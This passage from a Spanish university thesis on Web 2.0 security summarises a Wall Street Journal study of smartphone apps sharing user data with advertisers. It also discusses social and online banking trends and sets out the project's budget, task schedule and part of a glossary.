único y el código postal del teléfono a 8 compañías y la edad y el sexo de los usuarios a 2
compañías.
Respecto a la aplicación “Pandora” una aplicación popular de música, tanto para IPhone como
para Android, envían datos sobre edad, sexo y el ID del teléfono a diferentes redes públicas.
La aplicación “Libro-Mezcle”, un juego para tirar bolas de papel a una papelera envía datos al
62
Fuente: The Wall Street Journal, Artículo “Your Apps Are Watching You”.
http://online.wsj.com/article_email/SB10001424052748704694004576020083703574602-
lMyQjAxMTAwMDIwMjEyNDIyWj.html.
Página 348
sociales
menos 5 compañías de publicidad. Otra aplicación llamada “Grindr”, una aplicación para tener
encuentros gays, envía datos sobre sexo, ubicación y el ID del teléfono a 3 compañías de
publicidad.
"In the world of mobile, there is no anonymity" afirma Michael Becker de Mobile Marketing
Association, un grupo del sector. Un teléfono móvil "always with us. It's always on”.
La compañía Apple afirma revisar todas las aplicaciones antes de ofrecérselas a los usuarios,
para protegerlos del envío de ciertos tipos de información, como la localización. "We have
created strong privacy protections for our customers, especially regarding location-based data.
(…) Privacy and trust are vitally important” afirma Tom Neumayr de Apple.
Google no revisa as aplicaciones que pueden descargarse los usuarios de sus teléfonos como
Motorola o Samsung, dice que los responsables de la aplicación deben de asumirá la
responsabilidad de cómo manejarla información del usuario.
A pesar de esto se ha demostrado que esas reglas que establecen los fabricantes se pueden
eludir. Una aplicación para Iphone llamada “Pumpkin Maker”, transmite la localización de una
red sin el consentimiento del propietario. Apple se niega a comentar si la aplicación viola o no
las reglas.
Los usuarios de los teléfonos inteligentes no pueden hacer nada frente al envío de estos datos
personales frente a un gran número de aplicación. En los equipos de sobremesa tenemos la
posibilidad de eliminar las “tracking cookies” que hacen seguimiento de nuestras
navegaciones o navegar en modo incognito desde ciertos navegadores, pero con los
smartphones esto no es posible. "The great thing about mobile is you can't clear a UDID like you
can a cookie" afirma Meghan O’Holleran de Traffic MarketPlace, una red publicitaria de
Internet que se está expandiendo a aplicaciones móviles."That's how we track everything".
Holleran afirma que monitorizan a los usuarios de los smartphones siempre que pueden, "we
watch what apps you download, how frequently you use them, how much time you spend on
them, how deep into the app you go". Comenta que los datos se almacenan y que no se
vinculan a ningún usuario.
Los desarrolladores de las aplicaciones “TextPlus 4”, “Pandora” o “Grindr” se escudan en que
los datos que transmiten no van vinculados a ningún nombre de persona y que los datos de
edad y sexo requieren previa aceptación del usuario. Los desarrolladores de la aplicación
“Pumpkin Maker” dicen que no conocían que fuese necesario preguntar para obtener
aprobación del envío de la ubicación.
La falta de estándares en este ámbito hace que las compañías de smartphones hagan el
tratamiento de datos de manera diferente. Por ejemplo Apple trata el UDID como
“información de identificación personal”. Otras compañías, incluida Google, no tienen en
cuenta el ID de usuario para la identificación de información.
Esta industria creciente está reuniendo datos de los perfiles de los usuarios de los teléfonos
móviles. La empresa Mobclix, de intercambio de anuncios, coincide con más de 25 redes de
anuncios y 15.000 aplicaciones que buscan anunciantes. La empresa Palo Alto de California,
Página 349
sociales
recoge los ID’s de los teléfonos y los asigna a categorías de interés basándose en las descargas
de aplicaciones de los usuarios y la cantidad de tiempo que pasan con esas aplicaciones.
Mediante el seguimiento de la ubicación del smartphones, la compañía Mobclix hace una
“mejor estimación” de donde vive la persona, según Sr. Gurbuxani, ejecutivo de Mobclix. La
compañía compara con la localización los datos de gasto y demográficos.
Otras aplicaciones transmiten más datos todavía. La aplicación para teléfonos de MySpace
envía sexo, edad y el ID del dispositivo a Milenio, una red de publicidad muy grande.
Google es el mayor receptor de datos de estas aplicaciones. La red principal de Google de

móviles es AdMob que compró en el 2010 por 750 millones de dólares. Su AdMob, AdSense,
Google Analytics y DoubleClick se han visto en 38 de las 101 aplicaciones. Google dice que no
se mezclan los datos recibidos por estas unidades. De las 51 aplicaciones de IPhone, 18 de
ellas envían datos a Apple.
¿Qué podemos hacer los usuarios frente a esto? No demasiado.

Es muy difícil prevenir que las “apps” envíen información acerca del teléfono o de su dueño.
Podemos desactivar los servicios de localización, pero limitará el uso de algunas funciones
como los mapas.
Algunas compañías de marketing ofrecen un “opt out”63 que previene del uso de datos de
seguimiento para ofrecer anuncios vistos en las webs de los smartphones. Pero la mayoría no
se aplica a las apps. Por ejemplo, Ringleader Digital Inc.'s “opt-out”
(ringleaderdigital.com/optout.php), solo se aplica en la navegación por internet desde el
browser.
La compañía Jumptap Inc. (opt.jumptap.com/optout/opt?jt) dice que su “opt-out” tampoco

aplica a las apps.
63
El término “opt-out” se refiere a varios métodos por los cuales los usuarios pueden evitar la recepción
de productos no solicitados o de servicios de información. Esta capacidad se asocia por lo general con
las campañas de marketing directo como puede ser el telemarketing, marketing por correo electrónico
o correo ordinario. http://en.wikipedia.org/wiki/Opt-out.
Página 350
sociales
¿Qué saben ellos? – Smartphones

Las empresas de publicidad hacen un seguimiento de los usuarios de los teléfonos inteligentes
a través de las aplicaciones. Algunas aplicaciones recopilan información acerca de la
ubicación, ID’s únicos, número de teléfonos o datos personales como sexo y edad. Estas
aplicaciones tienen la rutina de enviar información a las empresas de marketing que usan para
recopilar los expedientes de los usuarios de los teléfonos.
WSJ64 analizó 101 aplicaciones populares para IPhone y Android viendo el tipo de datos que
transmite y las compañías que monitorizan estas aplicaciones y crean perfiles de usuarios.
Tipos de datos
Los tipos de datos que transmiten las aplicaciones para smartphones más comunes son los
siguientes:
Usuario y contraseña: algunas

aplicaciones preguntan al usuario un
nombre y una contraseña para crear
una cuenta o para interactuar con
servicios como Facebook o Twitter.
Contactos: algunas apps pueden
acceder a la agenda de contactos del
usuario y normalmente sin permiso.
Edad y sexo: las aplicaciones recopilan
datos de edad y sexo u otros datos
demográficos de alguna manera.
Localización: los teléfonos almacenan
datos GPS (global-position-system) y
pueden triangular su posición
mediante sistemas WiFi o señales
móviles. Esta información de
localización incluye ciudad, código
postal y área metropolitana y también
latitud y longitud.
ID del teléfono: los teléfonos tienen
varios números de serie como
identificadores que son imposibles de
eliminar. El ID más común es el UDID Ilustración 108. Tipos de datos que transmiten
las apps.
de IPhone, seguido de ID de Android.
Número de teléfono: suele ser enviado principalmente por el usuario a las
empresas de publicidad que recogen datos de los smartphones o a Facebook.
64
Del artículo “What The Know – Mobile” del WSJ, http://blogs.wsj.com/wtk-mobile/.
Página 351
sociales
¿Quién nos está viendo?

Los desarrolladores de las aplicaciones pueden acceder a muchos tipos de información acerca
del teléfono y el usuario. Cuando el usuario permite a la aplicación ver detalles como su
localización no le han dicho si la aplicación mandará esa información a compañías de
publicidad.
Tenemos dos partes diferenciadas en este escenario:
App owner: son las compañías que crean o gestionan las aplicaciones. Una vez
que recopilan datos de los teléfonos, tienen algunas restricciones de cómo los
pueden usar.
Third parties: estas compañías incluyen vendedores que monitorizan las
aplicaciones y crean perfiles de usuarios.
Vamos a ver la lista de aplicaciones analizada por WSJ.
Aplicaciones para Iphone
App name Username, Contacts Age, Location Phone Phone

Password Gender ID number
0.03 Seconds Pro
Age My Face
Angry Birds
Angry Birds Lite
Aurora Feint II:
Lite
Barcode Scanner
(BahnTech)
Bejeweled 2
Best Alarm Clock
Free
Bible App
(LifeChurch.tv)
Bump
CBS News
0.03 Seconds
Dictionary.com
Doodle Jump
ESPN
ScoreCenter
Facebook
Flashlight (John
Haney Software)
Fluent News
Reader
Foursquare
Fox News
Google Maps
Grindr
Groupon
Hipstamatic
iJewels
iLoveBeer:
Zythology
Medscape
MyFitnessPal
Netflix
NYTimes
Ninjump
Pandora
Paper Toss
PerfectPhoto
Pimple Popper
Página 352
sociales
Lite
Pumpkin Maker
RedLaser
Ringtone Maker
Ringtone Maker
Pro
Shazam
Talking Tom Cat
TextPlus 4
The Moron Test
The Moron Test:
Section 1
Tips & Tricks:
IPhone Secrets
Lite
TweetDeck
WSJ Mobile
Reader
The Weather
Channel
WhatsApp
Messenger
Yelp
YouTube
Advanced Task
Killer
Advanced Task
Killer Pro
Alchemy (Andrey
Zaikin)
Backgrounds
(Stylem Media)
Barcode Scanner
(Zxing Team)
Beautiful Widgets
Bible App
(LifeChurch.tv)
Calorie Counter
(FatSecret)
CardioTrainer
CBS News
DailyHoroscope
(Comitic)
Dictionary.com
ESPN
ScoreCenter
Facebook
Fishin' 2 Go
Foursquare
Fox News
Fruit Ninja
Google Maps
Groupon
Handcent SMS
Jewels
Labyrinth
Labyrinth Lite
LauncherPro
Movies by Flixster
MyBackup Pro
MySpace Mobile
NYTimes
Pandora
Paper Toss
Ringdroid
Robo Defense
Robo Defense
Free
Shazam
ShopSavvy
Barcode Scanner
Solitaire (Ken
Magic)
Talking Tom Cat
Talking Tom Cat
Free
The Coupons App
Toss It
TweetCaster
US Yellow Pages
Search
Página 353
sociales
Weather &
Toggle Widget
The Weather
Channel
WeatherBug
WeatherBug Elite
Yelp
YouTube
Zedge Ringtones
& Wallpapers
Ilustración 109. Aplicaciones para Iphone. Tipos de datos.
Aplicaciones para Android
App name Username, Contacts Age, Location Phone Phone

Password Gender ID number
0.03 Seconds Pro
Age My Face
Angry Birds
Angry Birds Lite
Aurora Feint II:
Lite
Barcode Scanner
(BahnTech)
Bejeweled 2
Best Alarm Clock
Free
Bible App
(LifeChurch.tv)
Bump
CBS News
0.03 Seconds
Dictionary.com
Doodle Jump
ESPN
ScoreCenter
Facebook
Flashlight (John
Haney Software)
Fluent News
Reader
Foursquare
Fox News
Google Maps
Grindr
Groupon
Hipstamatic
iJewels
iLoveBeer:
Zythology
Medscape
MyFitnessPal
Netflix
NYTimes
Ninjump
Pandora
Paper Toss
PerfectPhoto
Pimple Popper
Lite
Pumpkin Maker
RedLaser
Ringtone Maker
Ringtone Maker
Pro
Shazam
Talking Tom Cat
TextPlus 4
The Moron Test
The Moron Test:
Section 1
Tips & Tricks:
IPhone Secrets
Página 354
sociales
Lite
TweetDeck
WSJ Mobile
Reader
The Weather
Channel
WhatsApp
Messenger
Yelp
YouTube
Advanced Task
Killer
Advanced Task
Killer Pro
Alchemy (Andrey
Zaikin)
Backgrounds
(Stylem Media)
Barcode Scanner
(Zxing Team)
Beautiful
Widgets
Bible App
(LifeChurch.tv)
Calorie Counter
(FatSecret)
CardioTrainer
CBS News
DailyHoroscope
(Comitic)
Dictionary.com
ESPN
ScoreCenter
Facebook
Fishin' 2 Go
Foursquare
Fox News
Fruit Ninja
Google Maps
Groupon
Handcent SMS
Jewels
Labyrinth
Labyrinth Lite
LauncherPro
Movies by
Flixster
MyBackup Pro
MySpace Mobile
NYTimes
Pandora
Paper Toss
Ringdroid
Robo Defense
Robo Defense
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ShopSavvy
Barcode Scanner
Solitaire (Ken
Magic)
Talking Tom Cat
Talking Tom Cat
Free
The Coupons
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Toss It
TweetCaster
US Yellow Pages
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Weather &
Toggle Widget
The Weather
Channel
WeatherBug
WeatherBug Elite
Yelp
YouTube
Zedge Ringtones
& Wallpapers
Ilustración 110. Aplicaciones para Android. Tipos de datos.
Página 355
sociales
Algunos ejemplos
Vamos a ver gráficamente un par de ejemplos para ver los tipos de datos que se transmiten y a
qué compañía se transmiten.
Facebook
Faeebook
CatefJOIY Social Networking

Platform iPhone
Aulllor f Pllblisher Facebook
Type Free
Has ti priv.lcy 110licy? Yes, on Ihe website
etick to see a detail page on this app
Ilustración 111. Facebook app. Tipo de datos que transmite.
Facebook recoge datos de Contactos, Username y Pasword y Localización y estos datos los
envía a sus propias bases de datos de Facebook.
Página 356
sociales
Pandora
Ilustración 112. Pandora app. Tipo de datos que transmite.
La aplicación pandora recopila información sobre sexo y edad, localización y ID del teléfono.
Esta información la envía a múltiples empresas de marketing que son AdMarvel,
Google/DoubleClick, Medialets y Mylife.com, obviamente sin informar al usuario de ello.
Página 357
sociales
Anexo B: Banca 2.0, e-Banking
La banca tradicional comenzó en papel sin ordenadores y sin Internet. Al introducirse los
bancos en Internet su presencia inicial fue básicamente informativa, información corporativas
y de principales productos financieros. Posteriormente se crearon sitios transaccionales,
consulta de saldos y transferencias electrónicas de fondos financieros. Los bancos más
innovadores hoy en día que son pocos disponen de un “canal electrónico”, venta de productos
en línea, ofertas personalizadas, pagos electrónicos e inversiones. Vemos una clara evolución
de la banca electrónica hacia la web 2.0.
Por parte del cliente también se ha visto una evolución clara. Estos son más exigentes en
cuanto a productos más sofisticados y mayor atención por parte de los asesores financieros.
Son más escépticos, menos leales debido a la gran demanda de productos por parte de las
diferentes entidades. Finalmente el consumidor actual es más activo y dispone de más
información; éstos cuentan con herramientas que les permiten tener información sobre
entidades y productos y servicios mediante blogs, foros o portales webs.
Implicaciones
Debido a esta evolución a la web 2.0 los servicios financieros deben adaptarse a un nuevo
mundo de comunicación ofreciendo así, nuevos productos y servicios más atractivos.
Los clientes 2.0 tienen el rol participativo, cooperativo y colaborativo adaptándose a la

filosofía de la web 2.0. Buscan espacios de sociabilidad, divulgan mucha más información y
opiniones y no tienen miedo a probar aplicaciones nuevas e innovadoras. Esta cantidad de
divulgación de información lleva consigo el riesgo de poner en peligro la reputación de la
empresa, lo que hace que se invierta más en la calidad de sus productos y en su precio.
Vivimos en el mundo de la información y la competitividad.
Nuevas tendencias ligadas al desarrollo 2.0:
Préstamos sociales: préstamos desarrollados en webs especializadas.

Pago en línea: nuevos sistemas de pago por internet como PayPal, Google
Checkout, BillMeLater, etc.).
Administración de finanzas personales: nuevos sistemas de apoyo para la línea y
agregadores de cuentas bancarias (Yodlee, Wesabe, uMonitor).
Nuevos sistemas de pagos en línea:
PayPal ( https://www.paypal.com/ )
Google Checkout (http://checkout.google.com)
Amazon Payments Server (https://payments.amazon.com)
Xoom (https://www.xoom.com)
Revolution Money Exchange (https://www.revolutionmoneyexchange.com/ )
Otros:
o http://www.click2pay.com/
Página 358
sociales
o http://www.trialpay.com/
o http://clickandbuy.com/
o http://www.revolutionmoney.com/
El 75% de los bancos estarán utilizando aplicaciones 2.0 para el 2012 según estudios Jarten.
Fuera de tendencia 2.0

A los bancos les cuesta adaptarse a esta nueva tendencia. Esto se debe a los siguientes
factores:
La mayoría de los bancos centran sus esfuerzos en invertir en ventas y no en

fidelizar a sus clientes.
La historia trajo malos augurios con el estallido de la burbuja de las .com, lo que
hace que los bancos actuales sean más cautelosos aunque la situación sea
completamente diferente.
Desconocimiento por parte de los bancos de la Web 2.0; términos como “wiki” o
“tweet” son completamente desconocidos para ellos o no comprenden cómo
podría esta nueva tendencia enriquecer su negocio.
Presencia actual en la web 2.0

Algunos bancos han comenzado a experimentar el mundo 2.0 mediante blogs, feeds de RSS o
Atom y Podcasts, no solo de manera interna en la empresa si no permitiendo comentarios
libremente en Internet.
La aplicación que tiene el participar en éstos blogs es variada. Se pueden hacer debates de
discusión, encuestas, publicar noticias, actualizaciones de la web, campañas de marketing,
codiseñar nuevos productos y servicios, tener en cuenta las opiniones de los clientes, poner
reacciones negativas en contexto, etc.
Blogs bancarios 2.0:
BCI de Chile: http://blog.bci.cl/.

Greg Connor, CEO de Savings & Loans: http://savingsloans.typepad.com/.
ING: http://www.ingblogs.com/.
Wells Fargo: http://blog.wellsfargo.com/.
RSS para nuevos contenidos bancarios:
http://www.uwcu.org/RSS/
https://www.nscu.com/Feeds/rss.xml
http://feeds.feedburner.com/lespeoples
Twitters bancarios:
http://finanzas20.com/twitters-bancarios/
Página 359
sociales
A parte del mundo de los blogs, también es muy importante el marketing 2.0 por parte de
estas entidades financieras.
Publicidad en sitios web 2.0.

Establecer una presencia en ámbitos 2.0 como Second Life, Facebook o Twitter.
Utilizar los espacios web 2.0 para lanzar campañas virales o testear la receptividad
de los usuario de manera controlada por ejemplo en Youtube:
Depósito Lopetegui http://www.youtube.com/watch?v=8cGJ9C90ZfE
Little Ronaldinho: http://www.youtube.com/watch?v=w3I-HFT2a-U
Creación de portales 2.0 especiales para campañas específicas:
http://www.cetelem-bigdrop.com/
http://www.mundialdeinversiones.cl/
Actualmente existen muchas formas de publicitar a los bancos.
Marketing & Comunicaciones:
YouTube (ING Direct, Postbank)

PostBank WebTV
SkyDiver
Wells Fargo weblogs (Student LoanDown)
Executive Blog Bryan Inch, GM RaboPlus
Join2Grow.biz (Fortis)
Flametree (ABN AMRO)
Google Labs
American Express Labs
American Express Account Widget
Blackboard (ABN AMRO)
Bizner
Banca social
Con las nuevas tendencias nacen los “préstamos sociales” eliminando a los bancos como
intermediarios en el proceso de los préstamos. Ahora los usuarios se prestan dinero entre
ellos mismos haciendo “social banking”.
La primera compañía pionera en social banking fue Zopa que une a comunidades de usuarios
que necesitan dinero con comunidades de usuarios que prestan dinero.
Algunas compañías que ofrecen préstamos sociales son:
Prosper (http://www.prosper.com/)
Zopa (http://www.zopa.com)
Boober (http://www.booberinternational.com/) (http://www.boober.nl)
Virgin Money (http://uk.virginmoney.com/)
Fynanz (http://www.fynanz.com/)
BooberWatch.nl
http://partizipa.com/ (p2c empresa española)
Página 360
sociales
Surgen nuevos medios de pago a particulares, para solucionar problemas con los medios de
pago tradicionales como el pago interpersonal, micropagos y pagos en movilidad.
Ahorros&Inversiones:
SmartyPig.com
Chipln.com
LoyaltyMatch.com
SocialPicks.com
Herdstreet (herdst.com)
BullPoo.com
MyFootbalClub.co.uk
Gestión Económica:
Wesabe.com
Mint.com
Geezeo.com
BillMonk.com
Bill.com
MoneyStrands + Expensr
Y en el futuro
Comunidad
En el futuro los bancos pueden agregar características de las redes sociales a sus plataformas:
Usuarios identificados en la red mediante un nickname.

Posibilidad de que se comparta información como contacto, intereses, foto
personal, enlaces de interés u otros.
Permitir mensajería entre usuarios para promociones, transferencias, alertas,
opiniones o consejos financieros.
Rankings de satisfacción, rankings de usuarios que más participan en la
comunidad, etc.
Se podría generar una futura estrategia que una banca y redes sociales.
Interacción
Los productos tradicionalmente siempre se han transmitido mejor de boca en boca. Los
usuarios pueden reenviar promociones a sus contactos y así desarrollar un marketing viral que
explote las redes sociales. Se podrían establecer acciones conjuntas ente diferentes usuarios.
Transparencia
Se podría permitir a los usuarios que califiquen las funcionalidades de la web y la usabilidad.
Una vez vistas estas calificaciones se podrían introducir mejoras, implementar nuevas
funcionalidades, etc.
Página 361
sociales
Se podrían publicar comparaciones de productos entre la competencia viendo las tasas y las
comisiones. También se podrían publicar actualizaciones del sitio vía RSS como nuevos
productos, normativas, tasas, promociones, servicios, etc.
Personalización
La banca 2.0 tiende cada vez más a la personalización de los productos según el tipo de
cliente. Se podría hace una personalización Home Cliente donde el cliente elige la
información que quiere que aparezca en su espacio banca 2.0.
Otro tipo de personalización son las ofertas customizables. El cliente debería ser capaz de
adaptar sus ofertas según sus intereses entre unos rangos definidos y mediante parámetros
que se mueven en función de otros.
Una de las personalizaciones más al alcance de la mano son las aplicaciones financieras para
smartphones. Podemos consultar el “Top 25 Web 2.0 Apps for Money, Finance, and
Investment” en la web
http://www.yourcreditadvisor.com/blog/2006/11/top_25_web_20_a.html.
Plataformas abiertas
Se ha demostrado con el paso del tiempo que cuanto más libre es el software más capacidad
tienen las empresas de aprovechar los conocimientos de la comunidad en su favor para
desarrollar productos más innovadores y adaptados el usuario.
En lugar de restringir el negocio se puede abrir una plataforma del banco y publicar servicios
que puedan ser usados por terceros. Estableciendo unas restricciones de seguridad, se pueden
desarrollar funcionalidades que agregan valor a la relación del cliente con el banco.
Esto nos lleva a una relación Win-Win. Este término anglosajón trata de que el banco nos
ofrezca servicios adicionales por los que no cobra y genera beneficios extra en los clientes,
haciendo que el banco se diferencia de sus competidores, que sea una referencia para futuros
clientes y en resumen conseguir un mayor progreso empresarial incrementando el mercado
potencial año a año.
Página 362
sociales
Capítulo 17
Presupuesto
El proyecto se compone básicamente de 2 fases marcadas y tiene una duración total de 2
años. Las fases son un primer estudio general de la Web 2.0 y las redes sociales y una segunda
fase, enfocada a la seguridad y privacidad.
- Primera fase: 10/17/2009 – 05/10/2009

- Segunda fase: 06/10/2009 – 18/07/2011
El cálculo del presupuesto total en base a las tareas y recursos utilizados se ha hecho
mediante la herramienta Microsoft Project, ya que es la más extendida para ello.
El resumen del proyecto lo podemos ver en la siguiente imagen:
Ilustración 113. Resumen del presupuesto del PFC.
Como vemos el proyecto ha tenido una duración de 528 días, 3.652 horas y un coste total de
88.706 euros. El coste de personal según la hoja Excel ed la UC3M adjuntada en el proyecto
es de un total de 88.500 euros.
Página 363
sociales
Los recursos humanos empleados han sido 2 Ingenieros Sénior y 2 Jefes de proyecto.
Principalmente desarrollado por 1 Ingeniero Sénior.
Los costes de los recursos humanos son:

- Ingeniero Sénior: 20 euros/hora.
- Jefe de Proyecto: 50 euros/hora.
Los costes directos son muy reducidos. Básicamente los recursos utilizados ha sido bibliografía
de la biblioteca UC3M “Security in a Web 2.0+ world: a standards based approach” (50 euros
total), y el uso de recursos electrónicos: ordenador personal con sistema operativo Windows 7,
Microsoft Office, Microsoft Project, Wireshark (aplicación gratuita), etc. más viajes, fungible y PC
Mac BookPro (estimación total 1.640 euros). Los costes indirectos ascienden a 18.028 euros.
El presupuesto total del proyecto asciende a 108.168 euros, sumando costes directos
(1.640€), costes indirectos (18.028€) y costes de personal (88.500€).
Tabla 14. Desglose de tareas del PFC.
Task Name Start Finish Resource Names

Comienzo del PFC Fri 10/07/09 Tue 14/07/09 María Ángeles[20%]; Daniel González[20%]; Daniel
Garzón[20%]
Dudas Sat 18/07/09 Sat 18/07/09 María Ángeles[20%]; Daniel González[20%]

Definición de la especificación Wed 15/07/09 Fri 17/07/09 María Ángeles[20%]; Daniel González[20%]
Desarrollo de la primera parte Sat 18/07/09 Tue 08/09/09 María Ángeles[20%]

del PFC
Desarrollo de la primera parte Sat 18/07/09 Tue 08/09/09 Daniel González[20%]

del PFC
Dudas Wed Wed Daniel Garzón[20%]; Daniel González[20%]; María

09/09/09 09/09/09 Ángeles[20%]
Revisión de la primera parte Wed Tue 29/09/09 María Ángeles[20%]; Daniel Garzón[20%]; Daniel
09/09/09 González[20%]
Fin de la primera parte. Thu 01/10/09 Mon 05/10/09 María Ángeles[20%]; Daniel Garzón[20%]
Especificaciones de la
segunda parte
Comienzo del desarrollo de la Tue 06/10/09 Thu 29/10/09 María Ángeles[20%]

segunda parte del PFC
Seguridad Hardware y Fri 30/10/09 Wed 27/01/10 María Ángeles[20%]

Software en servidores 2.0
CMS Thu 28/01/10 Wed 10/02/10 María Ángeles[20%]

Desarrollo de Seguridad en Thu 11/02/10 Mon 08/03/10 María Ángeles[20%]
Lenguajes y Tecnologías
Dudas Wed 10/03/10 Wed 10/03/10 Daniel Garzón[20%]; María Ángeles[20%]

Revisión del material hasta la Wed 10/03/10 Sun 21/03/10 María Ángeles[20%]
fecha
Se recoge bibliografía de la Mon 22/03/10 Mon 22/03/10 Libro

UC3M
Página 364
sociales
Se incluyen dos nuevas Tue 23/03/10 Wed 07/04/10 María Ángeles[20%]

partes: Legislación y
Privacidad
Publicación OWASP Top Ten Tue 20/04/10 Tue 20/04/10

vulnerabilidades web
Restructuración de Lenguajes Thu 08/04/10 Mon 21/06/10 María Ángeles[20%]

y Tecnologías
Estudio de conexión Tue 22/06/10 Tue 13/07/10 María Ángeles[20%]

Facebook vs Gmail
Ingeniería social y estándares Wed 14/07/10 Mon 26/07/10 María Ángeles[20%]

de seguridad 2.0
Privacidad 2.0 Tue 27/07/10 Tue 17/08/10 María Ángeles[20%]

Seguridad Hardware y Wed 18/08/10 Mon 13/09/10 María Ángeles[20%]
Software en el lado del
cliente
Reestructuración del Tue 14/09/10 Mon 27/09/10 María Ángeles[20%]

contenido del PFC
Casos de uso Tue 28/09/10 Mon 18/10/10 María Ángeles[20%]

Legislación Tue 19/10/10 Wed 03/11/10 María Ángeles[20%]
Revisión total del documento Thu 04/11/10 Wed 26/01/11 Daniel Garzón[20%]; Benjamin Ramos[20%]
Revisión dispositivos móviles Thu 04/11/10 Thu 02/12/10 María Ángeles[20%]

2.0 y Privacidad
Desarrollo de Anexo A y Fri 03/12/10 Mon 27/12/10 María Ángeles[20%]

Anexo B
Revisión segunda parte Tue 28/12/10 Wed 26/01/11 María Ángeles[20%]

Revisión de la totalidad del Thu 27/01/11 Wed 20/04/11 María Ángeles[20%]
PFC. Implementar grandes
cambios
Desarrollo de la presentación Thu 21/04/11 Fri 08/07/11 María Ángeles[20%]

y estimación del presupuesto
total
Día oficial de la presentación Mon 18/07/11 Mon 18/07/11 María Ángeles[20%]; Tribunal[20%]
del PFC
Página 365
sociales
Esta información se obtenido del archivo Microsoft Project. Podemos verla reflejada en la
siguiente imagen:
I o ir.sk
M
TnkN Dme OoJ'Dtion
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Wed 15/ 07/ 09 Fri 17/07/09
Maria Ángelesi2O%1:0;
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parte del PfC
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~
Dudas
Revisión de la primera
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Odays
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Wed 09/09/r:J'J Wed 09/09/09
Wed 09/09/09 Tue 29/09/09 4;5
Daniel Garzón[2O%]:O¡
M ari;¡
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segunda parte Garzón[2O%)
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de l. segurnJ. parte del
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Seguriditd H ~ rdw~re y M~!Í.l Ángeles(2O%]
" SOftware en servidorM
64 days Fri 30/10/09 Wed 27/01/10 9
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en Lengu~jM y
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Rellisión del material
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Wed 10/ 03/ 10 wed 10/03/10
Wed 10/03/ 10 Sun 21/03/10
"
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Ma!Í.l Ángeles(2O%]
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Se recoge bibliograf ia
de la UC3M
Odays Mon 22/03/10 Mon 22/03/10 Libro
Maria Ángeles(2O%]
" Se induyen ckn nUel/a5
partes: Legi ~ liKión y
12 days Tue 23/03/10 Wed 07/04/10 14
Prilladdad
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'" PubliQKión OWASPTop Odays
Ten lIulne ... bilidades
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Tue 20/04/10 Tue 20/04/ 10
./ ~ Ma!Í.l Ángeles(2O%]
" RMtruduradó n de
LenguajM y Tecnologias
53 days Th u 08/04/10 Mon 21/06/10
"
./ ~ Estudio de ~onexiÓfl
" F¡ocebook n Gmai l
16 days Tue 22/06/10 Tue 13/07/ 10
" Ma!Í.l Ángeles(2O%]
./ ~
" Ingeniería socia l y
Mlliod.J re~de seguriWd
9days Wed 14/ 07/ 10 Mon 26/07/10
" Ma!Í.l Ángeles(2O%]
>O
n ./ ~ PrilliKidad 2.0 16 days Tue 27/07/10 Tue 17/ 08/ 10 20 Mari~ Ángeles(2O%]
" Segu riditd Ha rdw~re y
Software en ellitdo del
19 days Wed 18/ OS/ 10 Mon 13/00/10 21
diente
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" ReestruduriKiÓfl del 10 days Tue 14/00/10 Mon 27/00/10 22
,. ./ ~
contenido del PFC
Casos de uso 15 days Tue 28/00/10 Mon 18/10/10 23 Mari~ Ángeles(2O%]
" ./ ~
LegistiKión 12 days Tue 19/10/10 W@d03/11/10 24
" Rellisión total del

documento
60 days Th u 04/11/10 W@d26/01/11 25 Oanie t
Garzón[2O%];8enjamir
./ ~ Ma!Í.l Angeles(2O%]
" Rellisión dispositillos
móIIiles 2.0 y PrilliKidad
21 days Th u 04/11/10 Thu 02/12/10
"
" Desarrollo de Anexo A y 17 days
AnexoB
Fri 03/12/10 Mon 27/12/10 27
"
~ ./ ~
Rellisión segunda parte 22 days
Rel/isión de la totctlidad 60 days
Tue 28/12/10
Thu 27/01/11
W@d26/01/11 28
W@d20/04/11 29;26 Maria Ángeles(2O%]
del PFC. Implementctr
grandes cam bios
./ ~ ., Ma!Í.l Angeles(2O%]
" Desarrollo de la
presentación y
57 days Th u 21/04/11 FriOS/07/ 11
estim.¡;ión del
presupuestototal
./ ".
" Oía ofidal de la
presentación del PfC
Odays Mon 18/07/11 Mon 18/07/11 Maria
Angele5[2O%]:Trlbuna l
Ilustración 114. Desglose del presupuesto por tareas. Microsoft Project.
El gráfico Gantt con las tareas podemos verlo en la siguiente imagen:
Página 366
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Ilustración 115. Gráfico Gantt. Presupuesto del Proyecto.
Página 367
sociales
“El presupuesto total de este proyecto asciende a la cantidad de 88.706 EUROS.
Colmenarejo a 18 de Julio de 2007
El ingeniero proyectista
Fdo. María Ángeles Caballero Velasco”
Página 368
sociales
Glosario
AdobeAir Red social de Infraestructura&Almacenamiento
Adware Advertising-supported software
AEPD Agencia española de protección de datos
AJAX Asynchronous Javascript And XML
Alianzo Red social de tipo Comunidad
Amazon Red social de comercio electrónico
Amazon Video on Red social de Fotografía&Video
demand
Amazon Web Services Red social de Infraestructura&Almacenamiento
AmazonMP3 Red social de tipo Música&Sonido
Answers.com Red social de Búsquedas&Referencias
AOL/AIM Aplicación de Comunicaciones&Mensajería
API Application Programming Interface
ARP Address Resolution Protocol
ASCII code American Standard Code for Information Interchange
ASP Active Server Pages
ATOM Formato de redifusión ATOM
Atrapalo Red social de comercio electrónico
BaseCamp Red social de tipo Profesionales&Productividad
BBDD Bases de datos
BD Base de datos
BDD Bases de datos distribuidas
BeautifulPeople Red social para encontrar pareja
Bebo Red social de tipo Social
BGP Border Gateway Protocol
Bitacoras Red social de tipo comunidad
BitTorrent Red social de Infraestructura&Almacenamiento
BlackBerry OS Sistema operativo de BlackBerry
BlogTalkRadio Red social de tipo Música&Sonido
Booking Red social de comercio electrónico
Botnet Red de ordenadores zoombies
Box Red social de Infraestructura&Almacenamiento
Buzznet Red social de tipo Música&Sonido
Página 369
sociales
Carbonite Red social de Infraestructura&Almacenamiento

CGI Common Gateway Interface
Classroom 2.0 Red social de educación
CMS Content Management Systems
